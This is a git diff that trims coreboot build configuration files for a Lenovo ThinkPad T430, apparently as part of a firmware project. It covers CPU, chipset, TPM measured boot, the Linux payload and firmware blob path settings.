-CONFIG_INTEL_GMA_BCLV_WIDTH=16 -CONFIG_INTEL_GMA_BCLM_OFFSET=0xc8256 -CONFIG_INTEL_GMA_BCLM_WIDTH=16 -CONFIG_BOOTBLOCK_IN_CBFS=y -CONFIG_DCACHE_RAM_MRC_VAR_SIZE=0x0 -CONFIG_HPET_MIN_TICKS=0x80 -CONFIG_FIXED_MCHBAR_MMIO_BASE=0xfed10000 -CONFIG_FIXED_DMIBAR_MMIO_BASE=0xfed18000 -CONFIG_FIXED_EPBAR_MMIO_BASE=0xfed19000 -CONFIG_PCIEXP_COMMON_CLOCK=y -CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 -CONFIG_FIXED_SMBUS_IO_BASE=0x400 -CONFIG_CBFS_CACHE_ALIGN=8 - -# -# CPU -# -CONFIG_CPU_INTEL_MODEL_206AX=y -CONFIG_CPU_INTEL_COMMON=y -CONFIG_ENABLE_VMX=y -CONFIG_SET_IA32_FC_LOCK_BIT=y -CONFIG_SET_MSR_AESNI_LOCK_BIT=y -CONFIG_CPU_INTEL_COMMON_TIMEBASE=y -CONFIG_CPU_INTEL_COMMON_SMM=y -CONFIG_MICROCODE_UPDATE_PRE_RAM=y -CONFIG_PARALLEL_MP=y -CONFIG_XAPIC_ONLY=y -# CONFIG_X2APIC_ONLY is not set -# CONFIG_X2APIC_RUNTIME is not set -# CONFIG_X2APIC_LATE_WORKAROUND is not set -CONFIG_UDELAY_TSC=y -CONFIG_TSC_MONOTONIC_TIMER=y -CONFIG_TSC_SYNC_MFENCE=y -CONFIG_HAVE_SMI_HANDLER=y -CONFIG_SMM_TSEG=y -CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 -CONFIG_AP_STACK_SIZE=0x800 -CONFIG_SMP=y -CONFIG_SSE=y -CONFIG_SSE2=y -CONFIG_SUPPORT_CPU_UCODE_IN_CBFS=y -CONFIG_USE_CPU_MICROCODE_CBFS_BINS=y -CONFIG_CPU_MICROCODE_CBFS_DEFAULT_BINS=y -# CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_BINS is not set -# CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_HEADER is not set -# CONFIG_CPU_MICROCODE_CBFS_NONE is not set - -# -# Northbridge -# -CONFIG_USE_NATIVE_RAMINIT=y -CONFIG_NORTHBRIDGE_INTEL_SANDYBRIDGE=y -# CONFIG_NATIVE_RAMINIT_IGNORE_MAX_MEM_FUSES is not set -# CONFIG_NATIVE_RAMINIT_IGNORE_XMP_MAX_DIMMS is not set -# CONFIG_NATIVE_RAMINIT_IGNORE_XMP_REQUESTED_VOLTAGE is not set -# CONFIG_RAMINIT_ALWAYS_ALLOW_DLL_OFF is not set -CONFIG_RAMINIT_ENABLE_ECC=y - -# -# Southbridge -# -CONFIG_SOUTHBRIDGE_INTEL_BD82X6X_COMMON=y -CONFIG_SOUTHBRIDGE_INTEL_BD82X6X=y -# CONFIG_HIDE_MEI_ON_ERROR is not set -CONFIG_PCIEXP_HOTPLUG=y -CONFIG_INTEL_DESCRIPTOR_MODE_REQUIRED=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_RESET=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_RTC=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_PMCLIB=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_PMBASE=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_GPIO=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_ME=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_EARLY_SMBUS=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMBUS=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_SPI=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_SPI_ICH9=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_PIRQ_ACPI_GEN=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_RCBA_PIRQ=y -CONFIG_HAVE_INTEL_CHIPSET_LOCKDOWN=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMM=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_FINALIZE=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_USB_DEBUG=y -CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE=y -# CONFIG_VALIDATE_INTEL_DESCRIPTOR is not set # CONFIG_INTEL_CHIPSET_LOCKDOWN is not set -CONFIG_TCO_SPACE_NOT_YET_SPLIT=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_WATCHDOG=y -CONFIG_FIXED_RCBA_MMIO_BASE=0xfed1c000 -CONFIG_RCBA_LENGTH=0x4000 - -# -# Super I/O -# - -# -# Embedded Controllers -# -CONFIG_EC_ACPI=y -CONFIG_EC_LENOVO_H8=y -CONFIG_H8_BEEP_ON_DEATH=y -CONFIG_H8_FLASH_LEDS_ON_DEATH=y -# CONFIG_H8_SUPPORT_BT_ON_WIFI is not set -# CONFIG_H8_FN_CTRL_SWAP is not set -CONFIG_H8_HAS_BAT_THRESHOLDS_IMPL=y -CONFIG_EC_LENOVO_PMH7=y - -# -# Intel Firmware -# CONFIG_HAVE_ME_BIN=y -# CONFIG_STITCH_ME_BIN is not set -# CONFIG_CHECK_ME is not set -# CONFIG_ME_REGION_ALLOW_CPU_READ_ACCESS is not set -# CONFIG_USE_ME_CLEANER is not set -CONFIG_MAINBOARD_USES_IFD_GBE_REGION=y CONFIG_HAVE_GBE_BIN=y -# CONFIG_DO_NOT_TOUCH_DESCRIPTOR_REGION is not set -# CONFIG_LOCK_MANAGEMENT_ENGINE is not set -CONFIG_UNLOCK_FLASH_REGIONS=y -CONFIG_ARCH_X86=y -CONFIG_ARCH_BOOTBLOCK_X86_32=y -CONFIG_ARCH_VERSTAGE_X86_32=y -CONFIG_ARCH_ROMSTAGE_X86_32=y -CONFIG_ARCH_POSTCAR_X86_32=y -CONFIG_ARCH_RAMSTAGE_X86_32=y -CONFIG_ARCH_ALL_STAGES_X86_32=y -CONFIG_HAVE_EXP_X86_64_SUPPORT=y -CONFIG_RESERVED_PHYSICAL_ADDRESS_BITS_SUPPORT=y -CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y -CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y -CONFIG_RAMSTAGE_CBFS_CACHE_SIZE=0x4000 -CONFIG_PC80_SYSTEM=y -CONFIG_HAVE_CMOS_DEFAULT=y -CONFIG_POSTCAR_STAGE=y -CONFIG_BOOTBLOCK_SIMPLE=y -# CONFIG_BOOTBLOCK_NORMAL is not set -CONFIG_COLLECT_TIMESTAMPS_TSC=y -CONFIG_HAVE_CF9_RESET=y -CONFIG_DEBUG_HW_BREAKPOINTS=y -CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y -# CONFIG_DUMP_SMBIOS_TYPE17 is not set -# end of Chipset - -# -# Devices -# -CONFIG_HAVE_VGA_TEXT_FRAMEBUFFER=y -CONFIG_HAVE_LINEAR_FRAMEBUFFER=y -CONFIG_MAINBOARD_HAS_LIBGFXINIT=y -CONFIG_MAINBOARD_USE_LIBGFXINIT=y -# CONFIG_VGA_ROM_RUN is not set -# CONFIG_NO_GFX_INIT is not set -CONFIG_NO_EARLY_GFX_INIT=y - -# -# Display -# -# CONFIG_VGA_TEXT_FRAMEBUFFER is not set CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y -CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y -CONFIG_HEAP_SIZE=0x400000 -# end of Display - -CONFIG_PCI=y -CONFIG_ECAM_MMCONF_SUPPORT=y -CONFIG_PCIX_PLUGIN_SUPPORT=y -CONFIG_AZALIA_HDA_CODEC_SUPPORT=y -CONFIG_PCIEXP_PLUGIN_SUPPORT=y -CONFIG_ECAM_MMCONF_LENGTH=0x04000000 -CONFIG_PCI_ALLOW_BUS_MASTER=y -CONFIG_PCI_SET_BUS_MASTER_PCI_BRIDGES=y -CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y -# CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS is not set -# CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR is not set -CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM_ABOVE_4G=y -# CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM_BELOW_4G is not set CONFIG_PCIEXP_HOTPLUG_IO=0x2000 -# CONFIG_EARLY_PCI_BRIDGE is not set -CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 -CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 -CONFIG_INTEL_GMA_HAVE_VBT=y -CONFIG_INTEL_GMA_ADD_VBT=y -# CONFIG_SOFTWARE_I2C is not set -CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 # CONFIG_RESOURCE_ALLOCATION_TOP_DOWN is not set -CONFIG_USE_DDR3=y -# end of Devices - -# -# Generic Drivers -# -CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 -# CONFIG_ELOG is not set -CONFIG_CACHE_MRC_SETTINGS=y -# CONFIG_MRC_SETTINGS_PROTECT is not set -# CONFIG_SMMSTORE is not set -CONFIG_SPI_FLASH=y -CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y -CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP_EARLY=y -# CONFIG_SPI_FLASH_NO_FAST_READ is not set -CONFIG_SPI_FLASH_ADESTO=y -CONFIG_SPI_FLASH_AMIC=y -CONFIG_SPI_FLASH_ATMEL=y -CONFIG_SPI_FLASH_EON=y -CONFIG_SPI_FLASH_MACRONIX=y -CONFIG_SPI_FLASH_SPANSION=y -CONFIG_SPI_FLASH_SST=y -CONFIG_SPI_FLASH_ISSI=y -CONFIG_TPM_INIT_RAMSTAGE=y -# CONFIG_TPM_PPI is not set -CONFIG_NO_UART_ON_SUPERIO=y -# CONFIG_DRIVERS_UART_OXPCIE is not set -CONFIG_HAVE_USBDEBUG=y -CONFIG_HAVE_USBDEBUG_OPTIONS=y -# CONFIG_USBDEBUG is not set -# CONFIG_VPD is not set -# CONFIG_DRIVERS_GENERIC_CBFS_SERIAL is not set -# CONFIG_DRIVERS_GENERIC_CBFS_UUID is not set -# CONFIG_DRIVERS_GENESYSLOGIC_GL9750 is not set -# CONFIG_DRIVERS_GENESYSLOGIC_GL9755 is not set -# CONFIG_DRIVERS_GENESYSLOGIC_GL9763E is not set -# CONFIG_DRIVERS_I2C_MAX98396 is not set -CONFIG_INTEL_INT15=y -CONFIG_INTEL_GMA_ACPI=y -CONFIG_VBT_CBFS_COMPRESSION_LZMA=y -# CONFIG_VBT_CBFS_COMPRESSION_LZ4 is not set -# CONFIG_VBT_CBFS_COMPRESSION_NONE is not set -CONFIG_VBT_CBFS_COMPRESSION_ALGORITHM="lzma" -CONFIG_GFX_GMA=y -CONFIG_GFX_GMA_PANEL_1_ON_LVDS=y -CONFIG_GFX_GMA_DYN_CPU=y -CONFIG_GFX_GMA_GENERATION="Ironlake" -CONFIG_GFX_GMA_PCH="Cougar_Point" -CONFIG_GFX_GMA_PANEL_2_PORT="Disabled" -CONFIG_GFX_GMA_ANALOG_I2C_PORT="PCH_DAC" -CONFIG_DRIVERS_LENOVO_HYBRID_GRAPHICS=y -# CONFIG_DRIVERS_NXP_UWB_SR1XX is not set CONFIG_DRIVERS_PS2_KEYBOARD=y -CONFIG_DRIVERS_MC146818=y -# CONFIG_USE_PC_CMOS_ALTCENTURY is not set -CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 -CONFIG_MEMORY_MAPPED_TPM=y -CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 -CONFIG_DRIVERS_RICOH_RCE822=y -# CONFIG_DRIVERS_SIL_3114 is not set -CONFIG_DRIVERS_WIFI_GENERIC=y -CONFIG_DRIVERS_MTK_WIFI=y -# end of Generic Drivers - -# -# Security -# - -# -# CBFS verification -# -# CONFIG_CBFS_VERIFICATION is not set -# end of CBFS verification - -# -# Verified Boot (vboot) -# -CONFIG_VBOOT_LIB=y -# end of Verified Boot (vboot) - -# -# Trusted Platform Module -# -# CONFIG_NO_TPM is not set -CONFIG_TPM1=y -CONFIG_TPM=y -CONFIG_MAINBOARD_HAS_TPM1=y -# CONFIG_TPM_DEACTIVATE is not set -# CONFIG_DEBUG_TPM is not set -# CONFIG_TPM_RDRESP_NEED_DELAY is not set -# CONFIG_TPM_LOG_CB is not set -CONFIG_TPM_LOG_TPM1=y -CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" -CONFIG_PCR_BOOT_MODE=1 -CONFIG_PCR_HWID=1 -CONFIG_PCR_SRTM=2 -CONFIG_PCR_FW_VER=10 -CONFIG_PCR_RUNTIME_DATA=3 -# end of Trusted Platform Module - -# -# Memory initialization -# -CONFIG_PLATFORM_HAS_DRAM_CLEAR=y -# CONFIG_SECURITY_CLEAR_DRAM_ON_REGULAR_BOOT is not set -# end of Memory initialization - -# CONFIG_INTEL_TXT is not set -# CONFIG_STM is not set -# CONFIG_BOOTMEDIA_LOCK_NONE is not set CONFIG_BOOTMEDIA_LOCK_CONTROLLER=y -# CONFIG_BOOTMEDIA_LOCK_CHIP is not set -CONFIG_BOOTMEDIA_LOCK_WHOLE_RO=y -# CONFIG_BOOTMEDIA_LOCK_WHOLE_NO_ACCESS is not set -# CONFIG_BOOTMEDIA_SMM_BWP is not set -# end of Security - -CONFIG_ACPI_HAVE_PCAT_8259=y -CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES=y -CONFIG_ACPI_SOC_NVS=y -CONFIG_ACPI_NO_CUSTOM_MADT=y -CONFIG_ACPI_COMMON_MADT_LAPIC=y -CONFIG_ACPI_COMMON_MADT_IOAPIC=y -CONFIG_HAVE_ACPI_TABLES=y -CONFIG_BOOT_DEVICE_SPI_FLASH=y -CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y -CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y -CONFIG_RTC=y -CONFIG_HEAP_SIZE=0x100000 - -# -# Console -# -CONFIG_BOOTBLOCK_CONSOLE=y -CONFIG_POSTCAR_CONSOLE=y -CONFIG_SQUELCH_EARLY_SMP=y -# CONFIG_SPKMODEM is not set -# CONFIG_CONSOLE_NE2K is not set -CONFIG_CONSOLE_CBMEM=y -# CONFIG_CONSOLE_CBMEM_DUMP_TO_UART is not set -# CONFIG_CONSOLE_SPI_FLASH is not set -# CONFIG_CONSOLE_I2C_SMBUS is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8 is not set -CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7=y -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_6 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_4 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_3 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_2 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_1 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_0 is not set -CONFIG_DEFAULT_CONSOLE_LOGLEVEL=7 -CONFIG_CONSOLE_USE_LOGLEVEL_PREFIX=y -CONFIG_CONSOLE_USE_ANSI_ESCAPES=y -CONFIG_HWBASE_DEBUG_CB=y -# end of Console - -CONFIG_HAVE_ACPI_RESUME=y -CONFIG_RESUME_PATH_SAME_AS_BOOT=y -CONFIG_HAVE_MONOTONIC_TIMER=y -CONFIG_HAVE_OPTION_TABLE=y -CONFIG_IOAPIC=y -CONFIG_USE_WATCHDOG_ON_BOOT=y - -# -# System tables -# -CONFIG_GENERATE_SMBIOS_TABLES=y -CONFIG_SMBIOS_PROVIDED_BY_MOBO=y -CONFIG_BIOS_VENDOR="coreboot" -CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" -# end of System tables - -# -# Payload -# -# CONFIG_PAYLOAD_NONE is not set -# CONFIG_PAYLOAD_ELF is not set -# CONFIG_PAYLOAD_BOOTBOOT is not set -# CONFIG_PAYLOAD_FILO is not set -# CONFIG_PAYLOAD_GRUB2 is not set -# CONFIG_PAYLOAD_SEAGRUB is not set -# CONFIG_PAYLOAD_LINUXBOOT is not set -# CONFIG_PAYLOAD_SEABIOS is not set -# CONFIG_PAYLOAD_UBOOT is not set -# CONFIG_PAYLOAD_EDK2 is not set CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" -CONFIG_PAYLOAD_OPTIONS="" -# CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" -# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set -CONFIG_COMPRESS_SECONDARY_PAYLOAD=y - -# -# Secondary Payloads -# -# CONFIG_COREINFO_SECONDARY_PAYLOAD is not set -# CONFIG_GRUB2_SECONDARY_PAYLOAD is not set -# CONFIG_MEMTEST_SECONDARY_PAYLOAD is not set -# CONFIG_NVRAMCUI_SECONDARY_PAYLOAD is not set -# CONFIG_SEABIOS_SECONDARY_PAYLOAD is not set -# CONFIG_TINT_SECONDARY_PAYLOAD is not set -# CONFIG_COREDOOM_SECONDARY_PAYLOAD is not set -# end of Secondary Payloads -# end of Payload - -# -# Debugging -# - -# -# CPU Debug Settings -# -# CONFIG_DISPLAY_MTRRS is not set - -# -# Vendorcode Debug Settings -# - -# -# BLOB Debug Settings -# - -# -# General Debug Settings -# -# CONFIG_FATAL_ASSERTS is not set -# CONFIG_DEBUG_CBFS is not set -CONFIG_HAVE_DEBUG_RAM_SETUP=y -# CONFIG_DEBUG_RAM_SETUP is not set -CONFIG_HAVE_DEBUG_SMBUS=y -# CONFIG_DEBUG_SMBUS is not set -# CONFIG_DEBUG_MALLOC is not set -# CONFIG_DEBUG_CONSOLE_INIT is not set -# CONFIG_DEBUG_SPI_FLASH is not set -# CONFIG_DEBUG_BOOT_STATE is not set -# CONFIG_DEBUG_ADA_CODE is not set -CONFIG_HAVE_EM100_SUPPORT=y -# CONFIG_EM100 is not set -# CONFIG_DEBUG_ACPICA_COMPATIBLE is not set -# end of Debugging - -CONFIG_RAMSTAGE_ADA=y -CONFIG_RAMSTAGE_LIBHWBASE=y -CONFIG_HWBASE_DYNAMIC_MMIO=y -CONFIG_HWBASE_DEFAULT_MMCONF=0xf0000000 -CONFIG_HWBASE_DIRECT_PCIDEV=y -CONFIG_DECOMPRESS_OFAST=y -CONFIG_WARNINGS_ARE_ERRORS=y -CONFIG_MAX_REBOOT_CNT=3 -CONFIG_RELOCATABLE_MODULES=y -CONFIG_HAVE_BOOTBLOCK=y -CONFIG_HAVE_ROMSTAGE=y -CONFIG_HAVE_RAMSTAGE=y diff --git a/config/coreboot-t430-maximized.config b/config/coreboot-t430-maximized.config index 92180f535..994b370f5 100644 --- a/config/coreboot-t430-maximized.config +++ b/config/coreboot-t430-maximized.config @@ -1,706 +1,30 @@ -# -# Automatically generated file; DO NOT EDIT. -# coreboot configuration -# - -# -# General setup -# -CONFIG_COREBOOT_BUILD=y -CONFIG_LOCALVERSION="" -CONFIG_CBFS_PREFIX="fallback" -CONFIG_COMPILER_GCC=y -# CONFIG_COMPILER_LLVM_CLANG is not set -CONFIG_ARCH_SUPPORTS_CLANG=y -# CONFIG_ANY_TOOLCHAIN is not set -# CONFIG_CCACHE is not set -# CONFIG_IWYU is not set -# CONFIG_FMD_GENPARSER is not set -# CONFIG_UTIL_GENPARSER is not set -# CONFIG_OPTION_BACKEND_NONE is not set CONFIG_USE_OPTION_TABLE=y CONFIG_STATIC_OPTION_TABLE=y -CONFIG_COMPRESS_RAMSTAGE_LZMA=y -# CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set -CONFIG_SEPARATE_ROMSTAGE=y -CONFIG_INCLUDE_CONFIG_FILE=y -CONFIG_COLLECT_TIMESTAMPS=y -# CONFIG_TIMESTAMPS_ON_CONSOLE is not set # CONFIG_USE_BLOBS is not set -# CONFIG_COVERAGE is not set -# CONFIG_UBSAN is not set -CONFIG_HAVE_ASAN_IN_RAMSTAGE=y -# CONFIG_ASAN is not set -# CONFIG_NO_STAGE_CACHE is not set -CONFIG_TSEG_STAGE_CACHE=y -# CONFIG_UPDATE_IMAGE is not set CONFIG_BOOTSPLASH_IMAGE=y CONFIG_BOOTSPLASH_FILE="@BRAND_DIR@/bootsplash.jpg" CONFIG_BOOTSPLASH_CONVERT=y CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 -# CONFIG_BOOTSPLASH_CONVERT_RESIZE is not set -# CONFIG_BOOTSPLASH_CONVERT_COLORSWAP is not set -# CONFIG_FW_CONFIG is not set - -# -# Software Bill Of Materials (SBOM) -# -# CONFIG_SBOM is not set -# end of Software Bill Of Materials (SBOM) -# end of General setup - -# -# Mainboard -# - -# -# Important: Run 'make distclean' before switching boards -# -# CONFIG_VENDOR_51NB is not set -# CONFIG_VENDOR_ACER is not set -# CONFIG_VENDOR_ADLINK is not set -# CONFIG_VENDOR_AMD is not set -# CONFIG_VENDOR_AOPEN is not set -# CONFIG_VENDOR_APPLE is not set -# CONFIG_VENDOR_ASROCK is not set -# CONFIG_VENDOR_ASUS is not set -# CONFIG_VENDOR_BIOSTAR is not set -# CONFIG_VENDOR_BOSTENTECH is not set -# CONFIG_VENDOR_BYTEDANCE is not set -# CONFIG_VENDOR_CAVIUM is not set -# CONFIG_VENDOR_CLEVO is not set -# CONFIG_VENDOR_COMPULAB is not set -# CONFIG_VENDOR_DELL is not set -# CONFIG_VENDOR_EMULATION is not set -# CONFIG_VENDOR_EXAMPLE is not set -# CONFIG_VENDOR_FACEBOOK is not set -# CONFIG_VENDOR_FOXCONN is not set -# CONFIG_VENDOR_GETAC is not set -# CONFIG_VENDOR_GIGABYTE is not set -# CONFIG_VENDOR_GOOGLE is not set -# CONFIG_VENDOR_HP is not set -# CONFIG_VENDOR_IBASE is not set -# CONFIG_VENDOR_IBM is not set -# CONFIG_VENDOR_INTEL is not set -# CONFIG_VENDOR_INVENTEC is not set -# CONFIG_VENDOR_KONTRON is not set CONFIG_VENDOR_LENOVO=y -# CONFIG_VENDOR_LIBRETREND is not set -# CONFIG_VENDOR_MSI is not set -# CONFIG_VENDOR_OCP is not set -# CONFIG_VENDOR_OPENCELLULAR is not set -# CONFIG_VENDOR_PACKARDBELL is not set -# CONFIG_VENDOR_PCENGINES is not set -# CONFIG_VENDOR_PINE64 is not set -# CONFIG_VENDOR_PORTWELL is not set -# CONFIG_VENDOR_PRODRIVE is not set -# CONFIG_VENDOR_PROTECTLI is not set -# CONFIG_VENDOR_PURISM is not set -# CONFIG_VENDOR_RAZER is not set -# CONFIG_VENDOR_RODA is not set -# CONFIG_VENDOR_SAMSUNG is not set -# CONFIG_VENDOR_SAPPHIRE is not set -# CONFIG_VENDOR_SIEMENS is not set -# CONFIG_VENDOR_SIFIVE is not set -# CONFIG_VENDOR_STARLABS is not set -# CONFIG_VENDOR_SUPERMICRO is not set -# CONFIG_VENDOR_SYSTEM76 is not set -# CONFIG_VENDOR_TI is not set -# CONFIG_VENDOR_UP is not set -CONFIG_BOARD_SPECIFIC_OPTIONS=y -CONFIG_MAINBOARD_FAMILY="ThinkPad T430" -CONFIG_MAINBOARD_PART_NUMBER="ThinkPad T430" -CONFIG_MAINBOARD_VERSION="1.0" -CONFIG_MAINBOARD_DIR="lenovo/t430" -CONFIG_VGA_BIOS_ID="8086,0166" -CONFIG_DIMM_MAX=4 -CONFIG_DIMM_SPD_SIZE=256 -CONFIG_FMDFILE="" CONFIG_NO_POST=y -CONFIG_MAINBOARD_VENDOR="LENOVO" CONFIG_CBFS_SIZE=0xBE4FFF -CONFIG_LINEAR_FRAMEBUFFER_MAX_HEIGHT=1600 -CONFIG_LINEAR_FRAMEBUFFER_MAX_WIDTH=2560 -CONFIG_MAX_CPUS=8 -CONFIG_ONBOARD_VGA_IS_PRIMARY=y -CONFIG_DEVICETREE="devicetree.cb" -# CONFIG_VBOOT is not set -CONFIG_OVERRIDE_DEVICETREE="" -# CONFIG_VGA_BIOS is not set -CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="LENOVO" -CONFIG_DRAM_RESET_GATE_GPIO=10 -CONFIG_INTEL_GMA_VBT_FILE="src/mainboard/$(MAINBOARDDIR)/data.vbt" -CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0xc00 -CONFIG_CMOS_DEFAULT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.default" -CONFIG_CMOS_LAYOUT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.layout" -CONFIG_USBDEBUG_HCD_INDEX=2 -CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 -CONFIG_TPM_PIRQ=0x0 -CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xf0000000 -CONFIG_ECAM_MMCONF_BUS_NUMBER=64 -CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" -CONFIG_DCACHE_RAM_BASE=0xfefe0000 -CONFIG_DCACHE_RAM_SIZE=0x20000 -CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 -CONFIG_DCACHE_BSP_STACK_SIZE=0x10000 -CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 -CONFIG_HAVE_INTEL_FIRMWARE=y -CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 -CONFIG_SPI_FLASH_INCLUDE_ALL_DRIVERS=y -CONFIG_SPI_FLASH_WINBOND=y -CONFIG_DRIVERS_INTEL_WIFI=y CONFIG_IFD_BIN_PATH="@BLOB_DIR@/xx30/ifd.bin" CONFIG_ME_BIN_PATH="@BLOB_DIR@/xx30/me.bin" CONFIG_GBE_BIN_PATH="@BLOB_DIR@/xx30/gbe.bin" CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x80000 -CONFIG_CARDBUS_PLUGIN_SUPPORT=y -CONFIG_SPI_FLASH_GIGADEVICE=y -CONFIG_SPI_FLASH_STMICRO=y -# CONFIG_DEBUG_SMI is not set -CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="ThinkPad T430" CONFIG_HAVE_IFD_BIN=y -CONFIG_PCIEXP_HOTPLUG_BUSES=8 -CONFIG_PCIEXP_HOTPLUG_MEM=0x800000 -CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM=0x10000000 -# CONFIG_BOARD_LENOVO_THINKPAD_T440P is not set -# CONFIG_BOARD_LENOVO_THINKPAD_W541 is not set -# CONFIG_BOARD_LENOVO_L520 is not set -# CONFIG_BOARD_LENOVO_S230U is not set -# CONFIG_BOARD_LENOVO_T400 is not set -# CONFIG_BOARD_LENOVO_T500 is not set -# CONFIG_BOARD_LENOVO_R400 is not set -# CONFIG_BOARD_LENOVO_R500 is not set -# CONFIG_BOARD_LENOVO_W500 is not set -# CONFIG_BOARD_LENOVO_T410 is not set -# CONFIG_BOARD_LENOVO_T420 is not set -# CONFIG_BOARD_LENOVO_T420S is not set CONFIG_BOARD_LENOVO_THINKPAD_T430=y -# CONFIG_BOARD_LENOVO_T430S is not set -# CONFIG_BOARD_LENOVO_T431S is not set -# CONFIG_BOARD_LENOVO_T520 is not set -# CONFIG_BOARD_LENOVO_W520 is not set -# CONFIG_BOARD_LENOVO_T530 is not set -# CONFIG_BOARD_LENOVO_W530 is not set -# CONFIG_BOARD_LENOVO_T60 is not set -# CONFIG_BOARD_LENOVO_Z61T is not set -# CONFIG_BOARD_LENOVO_R60 is not set -# CONFIG_BOARD_LENOVO_THINKCENTRE_A58 is not set -# CONFIG_BOARD_LENOVO_X131E is not set -# CONFIG_BOARD_LENOVO_X1_CARBON_GEN1 is not set -# CONFIG_BOARD_LENOVO_X200 is not set -# CONFIG_BOARD_LENOVO_X301 is not set -# CONFIG_BOARD_LENOVO_X201 is not set -# CONFIG_BOARD_LENOVO_X220 is not set -# CONFIG_BOARD_LENOVO_X220I is not set -# CONFIG_BOARD_LENOVO_X1 is not set -# CONFIG_BOARD_LENOVO_X230 is not set -# CONFIG_BOARD_LENOVO_X230T is not set -# CONFIG_BOARD_LENOVO_X230S is not set -# CONFIG_BOARD_LENOVO_X230_EDP is not set -# CONFIG_BOARD_LENOVO_X60 is not set -CONFIG_VBOOT_SLOTS_RW_AB=y -CONFIG_DRIVER_LENOVO_SERIALS=y -CONFIG_PS2K_EISAID="PNP0303" -CONFIG_PS2M_EISAID="LEN0015" -CONFIG_THINKPADEC_HKEY_EISAID="LEN0068" -CONFIG_GFX_GMA_PANEL_1_PORT="LVDS" -CONFIG_D3COLD_SUPPORT=y -CONFIG_PCIEXP_ASPM=y -# CONFIG_PCIEXP_L1_SUB_STATE is not set -# CONFIG_PCIEXP_CLK_PM is not set -# CONFIG_DRIVERS_UART_8250IO is not set -CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 -CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" -CONFIG_BOARD_ROMSIZE_KB_12288=y -# CONFIG_COREBOOT_ROMSIZE_KB_256 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_512 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_1024 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_2048 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_4096 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_5120 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_6144 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_8192 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set 